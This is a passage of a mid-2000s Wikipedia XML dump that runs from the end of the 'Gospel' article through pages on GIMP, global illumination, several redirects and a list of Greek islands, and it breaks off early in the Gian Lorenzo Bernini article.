Another genre that has been suppressed is that of gospel harmonies, in which the apparent discrepancies in the canonical four gospels were selectively recast to present a harmoniously consistent narrative text.  Very few fragments of harmonies survived. The ''[[Diatessaron]]'' was such a harmonization, compiled by [[Tatian]] around AD 175.  It was popular for at least two centuries in [[Syria]], but eventually it fell into disuse, and no copies of it have survived, except indirectly in some medieval Gospel harmonies that can be considered its descendants.

[[Marcion of Sinope]], c. AD 150, produced his own edition of the ''Gospel of Luke'' in accordance with his dualistic belief in two different gods, the compassionate God of Christ and the cruel God of the Old Testament.  Specifically, he removed those parts of Luke that he considered too &quot;Jewish&quot;. He also rejected all other gospels.

The existence of private knowledge, briefly referred to in the canon, is part of the contention surrounding the '' [[Secret Gospel of Mark]]''.

==List of non-canonical (&quot;apocryphal&quot;) Gospels==
Some Gospels that were not eventually included in the canon are similar in style and content to the canonical Gospels. Others are &quot;sayings gospels&quot;, as lost ''Q'' is supposed to have been. Still others are [[Gnostic]] in style and content, presenting a very different view of Jesus' teaching. 

Gospels that were not accepted, which form part of the [[Apocrypha|New Testament Apocrypha]], include:

* [[Gospel of Thomas]]
* [[Gospel of Philip]]
* [[Gospel of Peter]]
* [[Gospel of Mary Magdalene]]
* [[Gospel of the Egyptians]]
* [[Gospel of the Hebrews]]
* [[Gospel of James]]
* [[Gospel of Judas]]

*See also the mistaken &quot;[[Gospel of Hermes]]&quot;.

Other works claiming to be gospels have surfaced in later periods. The [[Gospel of Barnabas]] originated in the medieval period. Works from the modern period (sometimes called ''modern apocrypha'') include the Aquarian Gospel of Jesus Christ and the Life of Issa. Parts of the [[Book of Mormon]] can also be considered to be a gospel, since they purport to tell of Jesus' appearances on the American continent.

There also works that do not purport to be revealed but are titled &quot;gospel&quot; anyway:
*[[The Gospel According to Jesus Christ]] by [[José Saramago]]

== Liturgical usage ==
In many Christian churches, all Christians present stand when a passage from one of the Gospels is read publicly, and sit when a passage from a different part of the [[Bible]] is read. The reading of the Gospels, often contained in a liturgical edition containing only the four Gospels, is traditionally done by a minister or priest, and in many traditions is brought into the midst of the congregation to be read.

=== Usage in [[Eastern Orthodoxy]] [[liturgy]] === 
[[Image:Siya.jpg|thumb|left|Illustration from the [[Antoniev Siysky Monastery|Siysky Gospel]] (1339).]]
The Gospel book, usually decorated in an elaborate metal cover, is normally kept in a central place on the [[altar]]. The only things that are permitted to occupy this place on the altar are the [[chalice]] and [[paten|discos]] for the celebration of the [[Eucharist]] or, on [[Feast of the Cross|certain feasts]], a [[Christian cross|Cross]].  During the [[Entrance (Liturgical)|Little Entrance]], the Gospel is carried from the altar, through the [[nave]] of the church, and back into the altar.  For the Gospel reading itself, the Gospel is brought from the altar to the [[ambo]], and afterwards returned to its place.

A Gospel passage is read in the [[Divine Liturgy]] on every Sunday or [[Liturgical year|feast]], and at daily services during the week. The reading is determined according to the annual liturgical calendar.  (If a feast falls on a Sunday, the reading for that feast will often be included after or in place of the Sunday reading.)  The cycle of readings begins with [[Pascha]] and the ''Pentecostarion'' (between Pascha and [[Pentecost]]), continues with the Sundays after Pentecost, and concludes with the [[Great Lent|Lenten Triodion]] and [[Holy Week]]. The number of Sundays from one Pascha to the next varies from year to year; in some years, not all the passages for Sundays after Pentecost will be read, while in others, some weeks will have to be repeated. 

The entirity of the four Gospels is read in the course of the liturgical year, beginning with John 1:1-17 at the Paschal Matins Resurrection Service. The readings from John end on the Sunday of Pentecost, followed on Holy Spirit Monday by Matthew, starting in Chapter 4 (the Genealogy of Christ through the Nativity is read during the services for Christmas). From the 12th Monday through the 17th Friday after Pentecost, the readings are from the Gospel of St. Mark, with readings from Matt. Ch. 25 on Saturday and Sunday of the 17th week. The 18th Monday after Pentecost begins the readings from Luke, ending on the 29th Sunday. During the remaining weeks, 30-32, the weekday reading are from Mark, the weekend from Luke. This same pattern continues throughout the preparatory weeks from the Lenten Triodion, the Orthodox service book containing texts for the services of Great Lent and Holy Week. [[Image:Peresopnytske Gospel 04.jpg|thumb|Miniature of [[St Luke]] from the [[Peresopnytsia Gospel]] (1561).]]

Once Great Lent begins (during the service of Vespers on Forgivness Sunday), there are no Gospel readings on weekdays; instead, three Old Testament reading are appointed, one each from Genesis, Isaiah, and Proverbs (note: the Lenten services are structured differently to allow this arrangement of reading without the Gospel; see [[Liturgy of the Presanctified Gifts|Presanctified Liturgy]]). On Saturdays and Sundays, a Gospel is read with a message applicable to what the theme of that Sunday is (e.g. St. Mary of Egypt, the Cross, Holy Icons). This practice continues through Holy Week, with the exception of Matins of Great and Holy Friday, during which the 12 Passion Gosples are read, and the service culminates with a prossesion with a large wodden replica of the Cross, borne by the Priest to the ambo, and Christ is symbolically crucified on it. There are no other Gospel readings until Vesperal Liturgy of Holy Saturday, and then the Ressurectional Gospel at Midnight, Pascha Morning.

At the [[Divine Liturgy]] the Gospel is publicly read by a [[deacon]] after he receives a [[blessing]] from the celebrating [[priest]] or [[bishop]].  If there is no deacon present, the priest will read the Gospel himself.  As in many other churches, all stand while the Gospel is being read.

In the Sunday [[Matins]] service the Gospel is always read by the celebrant.  Afterward, the faithful venerate the Book of Gospels and then receive the celebrant's blessing.

==Heraldry==
In [[heraldry]] the Gospel is a &quot;[[charge (heraldry)|charge]]&quot;, shown as a sort of book.

==See also==
*''[[logia agrapha]]'' are the collections of phrases attributed to Jesus Christ that are not found in the canonical gospels.
*''[[Godspell]]'' is a musical based on the gospels of Jesus Christ. '''''Godspel''''' is archaic English for Gospel.

==External links==
* Read Matthew's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=matthew&amp;version=ESV Bible Gateway].
* Read Mark's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=mark&amp;version=ESV Bible Gateway].
* Read Luke's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=luke&amp;version=ESV Bible Gateway].
* Read John's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=john&amp;version=ESV Bible Gateway].
* [http://www-user.uni-bremen.de/~wie/TCG/index.html A detailed discussion of the textual variants in the Gospels] &amp;mdash; covering about 1200 variants on 2000 pages.
* [http://www-user.uni-bremen.de/~wie/GNT/books.html Greek New Testament] &amp;mdash; the Greek text of the New Testament: specifically the Westcott-Hort text from 1881, combined with the NA26/27 variants.
* [http://www.monergism.com/thethreshold/articles/topic/gospel.html Essays on Gospel] &amp;mdash; from a conservative Calvinist standpoint.
* [http://www.westarinstitute.org/Polebridge/Title/Complete/IntroComplete/introcomplete.html Introduction to ''The Complete Gospels''] &amp;mdash; an excerpt and information about this compilation of canonical and non-canonical gospels in translation.
* [http://dubitando.no.sapo.pt/quattuor-evangeliorum-consonantia.htm Quattuor Evangeliorum Consonantia] - The latin harmony of the Gospels (1)
* [http://dubitando.no.sapo.pt/quattuor-evangeliorum-consonantia-n.htm Quattuor Evangeliorum Consonantia] - The latin harmony of the Gospels (2)
* [http://koti.phnet.fi/elohim/Bible_and_the_history.html The Bible and history] - The Bible and history
* [http://www.radioblack.com/gospel_webcast.html Gospel radio stations]
* [http://www.newadvent.org/cathen/06655b.htm Catholic Encyclopedia article]


[[Category:Christian texts]]

[[bg:Евангелие]]
[[ca:Evangeli]]
[[cs:Evangelium]]
[[da:Evangelium]]
[[de:Evangelium (Buch)]]
[[es:Evangelio]]
[[eo:Evangelio]]
[[fr:Évangile]]
[[ko:복음서]]
[[id:Injil]]
[[ia:Evangelio]]
[[it:Vangelo]]
[[he:בשורות]]
[[jv:Injil]]
[[la:Evangelium]]
[[li:Evangelie]]
[[hu:Evangélium]]
[[nl:Evangelie]]
[[ja:福音]]
[[pl:Ewangelia]]
[[pt:Evangelho]]
[[ro:Evanghelie]]
[[ru:Евангелие]]
[[scn:Vanceli]]
[[sr:Свето Јеванђеље]]
[[sv:Evangelium]]
[[tr:İncil]]
[[wa:Evandjîle]]
[[zh:四福音书]]</text>
    </revision>
  </page>
  <page>
    <title>GIMP</title>
    <id>12628</id>
    <revision>
      <id>42070966</id>
      <timestamp>2006-03-03T16:51:43Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{dablink|Often, the name '''GIMP''' is used erroneously for the [[Gimp-Print]] [[printer driver]] set.}}
&lt;!-- Release version update? Don't edit this page, just click on the version number! --&gt;
{{Infobox_Software2|
 name = GIMP
|logo = [[Image:Wilber GIMP.app icon OSX.png|48px|GIMP.app icon]]
|screenshot = [[Image:Gimp-gnome-2.2.8.png|250px]]
|caption = A [[screenshot]] of GIMP version 2.2.8 running under [[Ubuntu Linux]]
|developer = The GIMP Team
|operating_system = [[Cross-platform]]
|genre = [[Bitmap graphics editor]]
|license = [[GNU General Public License|GPL]]
|website =  [http://www.gimp.org/ www.gimp.org] {{ref|www.gimp.org.107}}
}}

The '''[[GNU]] Image Manipulation Program''' or just '''GIMP''' is an [[open source]] [[free software]] [[bitmap graphics editor]], a program for creating and processing [[raster graphics]]. It also has some support for [[vector graphics]]. The project was started in [[1995]] by [[Spencer Kimball]] and [[Peter Mattis]] and is now maintained by a group of volunteers; it is licensed under the [[GNU General Public License]].

==Overview==
GIMP originally stood for General Image Manipulation Program. Its creators, Spencer Kimball and Petter Mattis, initially started GIMP as a semester-long project for a class at UC Berkeley. Both were integral members of eXperimental Computing Facility, a student club at Berkeley (the GIMP's file extension, XCF, is taken from the initials of this club). In [[1997]], after both Kimball and Mattis had graduated from Berkeley, the name was changed to GNU Image Manipulation Program when it became an official [[GNU project]]. 

GIMP can be used to process digital graphics and photographs. Typical uses include creating graphics and [[logo]]s, resizing and cropping photos, changing colors, combining images using a layer paradigm, removing unwanted image features, and converting between different image formats.  GIMP can also be used to create simple animated images.

GIMP is also notable to some as the first major [[free software]] end-user application.  Previous free software projects, such as [[GNU Compiler Collection|GCC]] and the [[Linux kernel|Linux]] kernel, were mainly tools created by [[programmer]]s for programmers. GIMP is considered by some to be proof that the free software development process can create things non-[[geek]]s can use productively, and as such psychologically paved the way for such efforts as [[KDE]], [[GNOME]], [[Mozilla Firefox]], [[OpenOffice.org]], and various other applications that followed.

==Features==
[[Image:gimp 2.2.8 Mac.png|thumb|200px|A screenshot of GIMP version 2.2.8 running under [[X11]] on Mac OS X]]

===Brushes, colours, and painting tools===
* 48 standard brushes, plus facilities to create new ones
* Brushes can be used in hard-edged, soft-edged, or eraser modes, or used to apply various effects
* Palette with RGB, HSV, colour wheel, CMYK, and mixing modes, plus tools to pick colours from the image with various averaging options. Support for HTML colour codes.

===Selection and masking tools===
* Selection of rectangles, circles, contiguous regions, similar colours, or freehand selection

===Layers, transparency===
* Support for layers, including transparent layers, which can be shown, hidden, or made semitransparent
* Transparent and semitransparent images
&lt;!-- More about channels here? --&gt;

===Paths===
* Support for paths containing line segments or bezier curves.  Paths can be named, saved, and painted with brushes, patterns, or various line styles

===Effects, scripts, and filters===
* Approximately 150 standard effects and filters

===Scripting===
As well as interactive use, GIMP can be automated with [[macro]] programs. The built-in [[Scheme programming language|Scheme]] can be used for this, or alternatively [[Perl]], [[Python programming language|Python]], [[Tcl]] and (experimentally) [[Ruby programming language|Ruby]] can also be used. This allows the writing of scripts and plugins for GIMP which can then be used interactively; it is also possible to produce images in completely non-interactive ways (for example generating images for a webpage on the fly using [[Common Gateway Interface|CGI]] scripts) and for [[batch processing|batch]] color correction and conversion of images. For simple automatable tasks, a package such as [[ImageMagick]] is likely to be quicker, but GIMP has much more powerful features.

==Development==
[[Image:GIMPLogo.png|right|frame|GIMP Logos with [[Wilber (mascot of GIMP)|Wilber]], the GIMP mascot]]

GIMP was intended as a [[free software]] replacement for [[Adobe Photoshop]], which is the dominant bitmap editor in the printing and graphics industries.

GIMP uses [[GTK+]] as for building its user interface.  GTK+ was initially part of GIMP, intended as a replacement for the [[proprietary software|proprietary]] [[Motif (widget toolkit)|Motif]] toolkit, which GIMP originally depended upon. GIMP and GTK+ were originally designed for the [[X Window System]] running on [[Unix-like]] [[operating system]]s, but have since been ported to [[Microsoft Windows]], [[OS/2]], and [[SkyOS]].

The current stable version of GIMP is {{Latest stable release/GIMP}}. Major changes compared to version 1.2 include a more polished user interface and further separation of the user interface and back-end. 

For the future it is planned to base GIMP on a more generic graphical library called [[GEGL]], thereby addressing some fundamental design limitations that prevent many enhancements such as native [[CMYK]] support.  However, implementation of this plan has been continually put off since 2000.

==Comparisons with other graphics editors==
''Missing features'', which some graphics artists expect, include:
*Support for the [[Pantone]] [[color space|color matching system]], or [[spot color]].
*Support for [[Adobe Photoshop]] [[plugin]]s and other add-ons{{ref|pspi}}.
*Support for anything but 8-bit per-channel images e.g 16-bit, 32-bit, [[floating point]].
*Support for [[colour models]] other than RGB(A) and greyscale e.g [[CMYK color model|CMYK]], [[CIE 1931 color space|CIE XYZ]].
*Extensive [[gamma correction|gamma support]].
*Support for [[Color management]] (GIMP has limited support through [[LittleCMS|LCMS]]{{ref|www.littlecms.com.109}})
*[[Adjustment layers]] i.e layers which act like filters.
*Undo history &quot;snapshots&quot; that persist between sessions.

''Benefits'' of GIMP system include:
* Zero licensing costs, even for installations on many computers
* Available for many types of computing system
* Not dependent on any single company for updates or support
* Freely redistributable, so can be shared on an intranet or given to friends

[[Image:Padlock2.png|thumb|100px|right|A [[padlock]]]]
[[Image:Padlock3.png|thumb|100px|right|The same padlock after being touched up with the clone tool]]

== File Types ==
GIMP can open and save the following [[file format]]s:

* GIMP [[XCF]], the native format (.xcf, or compressed as .xcf.gz or .xcf.bz2)
* [[Autodesk]] flic animations (.fli)
* [[Digital Imaging and Communications in Medicine|DICOM]] (.dcm or .dicom)
* [[PostScript]] documents (.ps, .ps.gz and .eps)
* [[FITS]] astronomical images (.fits, or .fit)
* [[SVG|Scalable vector graphics]] for exporting paths (.svg)
* Microsoft Windows [[ICO (icon image file format)|icon]] (.ico)
* [[Windows bitmap]] (.bmp)
* [[Paintshop Pro]] image (.psp or .tub)
* Adobe [[Photoshop]] PSD (.psd)
* [[Portable pixmap|PNM]] image (.pnm, .ppm, .pgm, and .pbm)
* Compuserve [[GIF]] images and animations (.gif)
* [[JPEG]] photos (.jpeg, .jpg, or .jpe)
* [[PNG]] (.png)
* [[Tagged Image File Format]] (.tiff or .tif)
* [[Truevision TGA|TARGA]] (.tga)
* [[X Window system|X]] bitmap image (.xbm, .icon, or .bitmap)
* X pixmap image (.xpm)
* X window dump (.xwd)
* Zsoft [[PCX]] (.pcx)

GIMP can open but not save the following formats:

* [[PDF]] document (.pdf)

GIMP can also save to the following formats which it cannot open:

* [[HTML]] as a table with coloured cells (.html)
* [[C programming language|C]] source files as an array (.c or .h)
* [[MNG]] animations (.mng)

&lt;!-- Unsourced image removed: [[Image:iBook_gimped.jpg|thumb|right|An Apple [[iBook]] after it has been &quot;Gimped&quot;]] --&gt;

==Availability, versions, and [[fork (software)|fork]]s==
===Linux distributions===
GIMP is included as the standard image editor on most consumer [[Linux distribution]]s, including [[Ubuntu Linux|Ubuntu]], [[Mandriva]], and [[SUSE Linux|SUSE]].

===GIMP for Windows===
GIMP (along with the GTK+ toolkit) has been ported to the [[Microsoft Windows]] platform by Finnish programmer  Tor &quot;tml&quot; Lillqvist{{ref|www.saunalahti.fi.110}} who started that project in [[1997]].

Currently, the Windows port is practically identical to the original version in terms of features and stability.  The installation has been tremendously eased with the introduction of the  binary installers{{ref|refbot.111}}compiled by  Jernej Simoncic{{ref|sourceforge.net.112}}

The number of windows used by GIMP's interface (it doesn't put everything in a [[MDI]] window like some programs) can cause desktop clutter, which is especially apparent on systems like Microsoft Windows which are not equipped to deal with it.

===Gimp.app for Mac OS X===
[http://gimp-app.sourceforge.net/ Gimp.app] provides a self contained application bundle of GIMP for OS X. Gimp.app requires Apple's X11.app. Gimp.app is packaged by Aaron Voisine. 

===Seashore for Mac OS X===
[http://seashore.sourceforge.net/ Seashore] is a program based on GIMP for Mac that uses the native Cocoa interface in OS X. The program is currently still in beta (0.1.8).

=== GIMPshop ===
[[GIMPshop]] is a modification to GIMP, rearranging its user interface to mimic that of [[Adobe Photoshop]]

===Film Gimp/CinePaint===
Film Gimp, now known as [[CinePaint]], is a modification (forked from v. 1.0.4), adding 16-bit [[color depth]] and other improvements for use within the [[film industry]].

==See also==
*[[GIMPshop]]
*[[Wilber (mascot of GIMP)|Wilber]]
*[[Color management]]
*[[Comparison of bitmap graphics editors]]

==External links==
{{commons|GIMP}}
===Official===
*[http://www.gimp.org/index.html GIMP website]
*[http://registry.gimp.org/ GIMP Plug-In Registry]
*[http://developer.gimp.org/ GIMP Developer Resources]
*[http://openusability.org/projects/gimp GIMP meets OpenUsability]
*[http://wiki.gimp.org/gimp/OpenOfficeConvertion#preview Gimp and OpenOffice Draw].

===Third-parties===
*[http://gimp-win.sourceforge.net/ GIMP for Windows]
*[http://www.wingimp.org/ alt.pg. WinGIMP]
*[http://gimp-app.sf.net/ Gimp.app for OS X]
*[http://www.gimpshop.net/ GIMPShop dot Net] - Information on GIMP and GIMPShop
*[http://plasticbugs.com/index.php?p=241 GIMPshop for OS X and Linux]
*[http://www.linuxartist.org/gimp.html Linuxartist: Gimp section]
*[http://seashore.sourceforge.net/ Seashore for Mac OS X]
===GIMP Manual &amp; Tricks ===
*[http://wiki.gimp.org/gimp/FrontPage ''Wilber's Wiki'' &amp;ndash; The Official GIMP Wiki]
* Books and Manuals
**[http://www.xach.com/gimp/books/ A list of many GIMP books]
**[http://manual.gimp.org/ ''GIMP - The Official Handbook'', by Olof S. Kylander, Karin Kylander]
**[http://gimp-savvy.com/BOOK/index.html ''Grokking the GIMP''] ([http://gug.sunsite.dk/docs/Grokking-the-GIMP-v1.0/ mirror], [http://packages.debian.org/testing/source/grokking-the-gimp Debian package]), by Carey Bunks
*** Free 'HTML book' about GIMP and digital photo editing in general
**[http://docs.gimp.org GIMP User Manual 2.0] &amp;nbsp; (still under development)
* GIMP Tricks
**[http://www.blackfiveservices.co.uk/separate.shtml Experimental CMYK support through the &quot;separate&quot; plugin]
**[http://registry.gimp.org/plugin?id=3892 Windows GIMP Deweirdifyer plugin] ([http://gug.sunsite.dk/forum/?threadid=1630 info at GUG])
*** Used for organizing GIMP panels in a single window under Microsoft Windows
**[http://epierce.freeshell.org/gimp/ Photoshop-ish Keyboard Shortcuts for GIMP 2.0]
** WLUG Wiki: &amp;nbsp; [http://www.wlug.org.nz/GimpVersusPhotoshop GimpVersusPhotoshop]

===GIMP articles and tutorials===
* Newsforge: [http://software.newsforge.com/article.pl?sid=05/09/28/1345228 A first look at GIMP 2.4]
*[http://cooltext.com CoolText &amp;ndash; An online graphics generator powered by GIMP.] 
** Shows good examples of many of the scripts included with GIMP; they can be used directly over the web.
*[http://gimps.de/en/tutorials/gimp/picture-photo-image/ Examples and tutorials for GIMP ]
*[http://jimmac.musichall.cz/gimp2demos.php Short video clips demonstrating GIMP's functionality]
*[http://gimps.de  A lot of examples and tutorials for GIMP in German]
** Good website to see the capabilities of GIMP. 
*[http://www.cooljeba.com/tutorials/gimp/ Cool Jeba GIMP Tutorials]
*[http://siggymaker.gfxedit.com/ SiggyMaker &amp;ndash; GIMP generated images with PHP`s GD Library .] 
** Capable of adding text to GIMP generated Images.
* [[Wikipedia:How to use the GIMP]]

===GIMP Community===
*[http://gug.sunsite.dk/ GIMP User Group website]
* IRC: #gimp on irc.gimp.org and irc.freenode.net
*[http://groups.yahoo.com/group/gimpwin-users/ GIMP for Windows user mailing list] &amp;nbsp; ([http://www.spinics.net/lists/gimpwin/ Read-only archive])

== Notes ==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to.
   NOTE: It is important to add footnotes in the right order in the list!
--&gt;
# {{note|www.gimp.org.107}} {{cite web
 | title = GIMP - The GNU Image Manipulation Program
 | url = http://www.gimp.org/
 | accessdate = November 20
 | accessyear = 2005
 }}
# {{note|pspi}} There is a plugin called PSPI for the [[Microsoft Windows]] version of the GIMP only, which allows the use of the 8bf Adobe Photoshop filters in the GIMP.
# {{note|www.blackfiveservices.co.uk.108}} {{cite web
 | title = GIMP Plugin for CMYK separation
 | url = http://www.blackfiveservices.co.uk/separate.shtml
 | accessdate = November 20
 | accessyear = 2005
 }}
# {{note|www.littlecms.com.109}} {{cite web
 | title = LittleCms, Great color at small footprint
 | url = http://www.littlecms.com/
 | accessdate = November 20
 | accessyear = 2005
 }}
# {{note|www.saunalahti.fi.110}} {{cite web
 | title = Tor &quot;tml&quot; Lillqvist
 | url = http://www.saunalahti.fi/tlillqvi/
 | accessdate = November 20
 | accessyear = 2005
 }}
# {{note|refbot.111}} {{cite web
 | title = GIMP - Windows installers
 | url = http://gimp-win.sourceforge.net/
 | accessdate = November 20
 | accessyear = 2005
 }}
# {{note|sourceforge.net.112}} {{cite web
 | title = SourceForge.net: Developer Profile
 | url = http://sourceforge.net/users/jernejs/
 | accessdate = November 20
 | accessyear = 2005
 }}
# {{note|registry.gimp.org.113}} {{cite web
 | title = GIMP Deweirdifyer plugin
 | url = http://registry.gimp.org/plugin?id=3892
 | accessdate = November 20
 | accessyear = 2005
 }}

[[Category:Computer graphics]]
[[Category:Bitmap graphics editors]]
[[Category:Technical communication tools]]
[[Category:GNU project software]]

[[ca:GIMP]]
[[cs:GIMP]]
[[da:GIMP]]
[[de:Gimp]]
[[es:GIMP]]
[[fr:The GIMP]]
[[gl:GIMP]]
[[hr:Gimp]]
[[it:The GIMP]]
[[he:GIMP]]
[[ku:GIMP]]
[[lt:GIMP]]
[[hu:GIMP]]
[[nl:GNU Image Manipulation Program]]
[[ja:GIMP]]
[[no:GIMP]]
[[pl:GIMP]]
[[pt:GIMP]]
[[ru:GIMP]]
[[sk:GIMP]]
[[sl:GIMP]]
[[sr:Гимп]]
[[fi:GIMP]]
[[sv:GIMP]]
[[th:GIMP]]
[[vi:GIMP]]
[[tr:GIMP]]
[[uk:GIMP]]
[[zh:GIMP]]</text>
    </revision>
  </page>
  <page>
    <title>Global illumination</title>
    <id>12629</id>
    <revision>
      <id>40078723</id>
      <timestamp>2006-02-17T23:49:55Z</timestamp>
      <contributor>
        <username>Imroy</username>
        <id>80754</id>
      </contributor>
      <minor />
      <comment>change external Radiance link to [[Radiance (software)]]</comment>
      <text xml:space="preserve">'''Global illumination''' [[algorithm]]s used in [[3D computer graphics]] are those which, when determining the light falling on a surface, take into account not only the light which has taken a path directly from a light source (''direct illumination''), but also light which has undergone reflection from other surfaces in the world (''indirect illumination'').

Images rendered using global illumination algorithms are more photorealistic than images rendered using local illumination
algorithms. However, they are also much slower and more computationally expensive.  A common approach is to compute the global illumination of a scene and store that information with the geometry (ie. radiosity).  That stored data can then be used to generate images from different viewpoints for generating walkthroughs of a scene without having to go through expensive lighting calculations.

[[Radiosity]], [[ray tracing]], [[beam tracing]], [[cone tracing]], [[Path Tracing]], [[metropolis light transport]]  and [[photon mapping]] are examples of algorithms used in global illumination, some of which may be used together.

These algorithms model [[diffuse inter-reflection]] which is a very important part of global illumination, however most of these (excluding radiosity) also model [[specular inter-reflection]] too which makes them more accurate algorithms to solve the lighting equation and provide a more realistic globally illuminated scene.

The algorithms used to calculate the distribution of light energy between surfaces of a scene are closely related to [[heat transfer]] simulations performed using [[Finite element analysis|finite-element]] methods in engineering design.

In real-time 3D graphics, global illumination is sometimes approximated by an &quot;ambient&quot; term in the lighting equation.

[[Image:Global_illumination.jpg|frame|none|An example of a global illumination rendering, demonstrating how surface materials are reflected in other surfaces.]]

==See also==
*[[YafRay]] free rendering software featuring global illumination
*[[Radiance (software)|Radiance]] - highly accurate ray-tracing software system for UNIX computers. Free to non-commercial users.

== External links ==
*[http://pbrt.org/ PBRT] - Literate programming, has a great accompanying book.
*[http://www.vrayrender.com/ Vray Render] - Vray Render website, a new fast, and powerful rendering engine.
*[http://www.vraywiki.com/ Vraywiki] - Vraywiki website.
*[http://www.splutterfish.com/ SplutterFish] - developers of Brazil, a rendering system based on global illumination. The site has an extensive gallery of contributed images
*[http://www.hxa7241.org/perceptuum/perceptuum.html Perceptuum] -  good source for photon mapping, and other global illumination techniques.
*[http://www.mentalimages.com/ Mental Images] -  Makers of the highly professional renderer MentalRay. The renderer is used in packages such as Softimage XSI, Maya and 3D Studio Max

[[Category:3D computer graphics]]

[[de:Globale Beleuchtung]]
[[pl:Global Illumination]]</text>
    </revision>
  </page>
  <page>
    <title>Geometric series</title>
    <id>12630</id>
    <revision>
      <id>15910302</id>
      <timestamp>2004-09-26T21:07:41Z</timestamp>
      <contributor>
        <ip>24.19.45.139</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Geometric progression]]</text>
    </revision>
  </page>
  <page>
    <title>Gypsies</title>
    <id>12631</id>
    <revision>
      <id>26876052</id>
      <timestamp>2005-10-30T12:51:50Z</timestamp>
      <contributor>
        <username>Anthony Appleyard</username>
        <id>119438</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[gypsy]]</text>
    </revision>
  </page>
  <page>
    <title>GRUB</title>
    <id>12633</id>
    <revision>
      <id>28323053</id>
      <timestamp>2005-11-14T19:07:50Z</timestamp>
      <contributor>
        <username>Gronky</username>
        <id>87356</id>
      </contributor>
      <minor />
      <comment>update to prevent double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[GNU GRUB]]</text>
    </revision>
  </page>
  <page>
    <title>List of islands of Greece</title>
    <id>12634</id>
    <revision>
      <id>42015107</id>
      <timestamp>2006-03-03T05:49:46Z</timestamp>
      <contributor>
        <ip>212.56.128.186</ip>
      </contributor>
      <comment>/* The [[Cyclades]] */</comment>
      <text xml:space="preserve">This is a list of some of the 3000 '''[[island]]s of [[Greece]]''':

*[[Chrysi]]
*[[Crete]]
*[[Dia (island)|Dia]]
*[[Euboea]]
*[[Gavdos]]
*[[Koufonisi]]

==[[Saronic Islands]]==

*[[Aegina]]
*[[Hydra, Saronic Islands|Hydra]]
*[[Poros]]
*[[Spetses]]

==The [[Sporades]]==

*[[Skiathos]] 
*[[Skopelos]] [http://www.skopelosweb.gr skopelos guide]
*[[Alonnisos]]
*[[Skyros]]

==The [[Ionian Islands]]==

*[[Antikythira]]
*[[Antipaxi]]
*[[Corfu]]
*[[Ithaki]]
*[[Kefalonia]]
*[[Kythira]]
*[[Lefkada]]
*[[Paxi]]
*[[Zakynthos]]
==The [[Dodecanese Islands]]==
*[[Astypalia]]
*[[Halki]] 
*[[Kalymnos]] 
*[[Karpathos]] 
*[[Kassos]]
*[[Kastellorizo]] 
*[[Kos]]
*[[Leros]]
*[[Nisyros]] 
*[[Patmos]]
*[[Rhodes]]
*[[Symi]]
*[[Tilos]]

==The [[Northern Aegean Islands]]==
*[[Chios]]
*[[Ikaria]] 
*[[Limnos]] 
*[[Lesbos Island|Lesvos]] 
*[[Samos Island|Samos]]
*[[Samothraki]]
*[[Thassos]]
*[[Lesbos]]

==The [[Cyclades]]==
*[[Amorgos]]
*[[Andros]]
*[[Folegandros]] 
*[[Ios]]
*[[Kea]]
*[[Kythnos]]
*[[Milos]]
*[[Mykonos]]
*[[Naxos]]
*[[Paros]] 
*[[Antiparos]]
*[[Santorini]] 
*[[Sifnos]]
*[[Serifos]]
*[[Sikinos]]
*[[Syros]]
*[[Tinos]]
*[[Mykonos]]
{{listdev}}

''See also: [[List of islands in the Mediterranean]], [[List of islands]]''

[[Category:Lists of islands|Greece]]
[[Category:Islands of Greece| ]]

[[ca:Llista d'illes de Grècia]]
[[cs:Řecké ostrovy]]
[[de:Liste griechischer Inseln]]
[[it:Isole greche]]
[[nl:Lijst van Griekse eilanden]]
[[pt:Lista de ilhas da Grécia]]
[[sv:Lista över Greklands öar]]
[[tr:Yunan Adaları]]</text>
    </revision>
  </page>
  <page>
    <title>Gian Lorenzo Bernini</title>
    <id>12635</id>
    <revision>
      <id>42066742</id>
      <timestamp>2006-03-03T16:08:41Z</timestamp>
      <contributor>
        <username>Mimmo46</username>
        <id>629123</id>
      </contributor>
      <comment>/* Fountains in Rome */  added Fontana delle api</comment>
      <text xml:space="preserve">{{expert}}
{{cleanup-date|November 2005}}

[[Image:Gian lorenzo bernini selfportrait.jpg|thumb|250px|A self portrait: Bernini is said to have used his own features in his ''David''.]]

'''Gian Lorenzo Bernini''' (''Giovanni Lorenzo Bernini'') ([[December 7]], [[1598]], [[Naples]] &amp;ndash; [[November 28]], [[1680]], [[Rome]]) was an Italian [[Baroque]] [[artist]] in 17th century. He is known for his often overlapping skills as a [[sculpture|sculptor]] and [[architect]]. He was also a [[painter]], draftsman, designer of stage sets, [[fireworks]] displays, and [[funeral]] trappings.

==Early life and work==
Bernini was born in [[Naples]] to a Florentine family and accompanied his father [[Pietro Bernini]], a capable [[Mannerism|Mannerist]] sculptor himself, to Rome. Here the young prodigy's capabilities were soon noticed by the painter [[Annibale Carracci]] and by [[Pope Paul V]], and Bernini could therefore begin work as an independent artist. His first works were inspired by [[Ancient Greek art|Hellenistic]] sculpture of ancient Greece and imperial Rome he could study in the new seat.

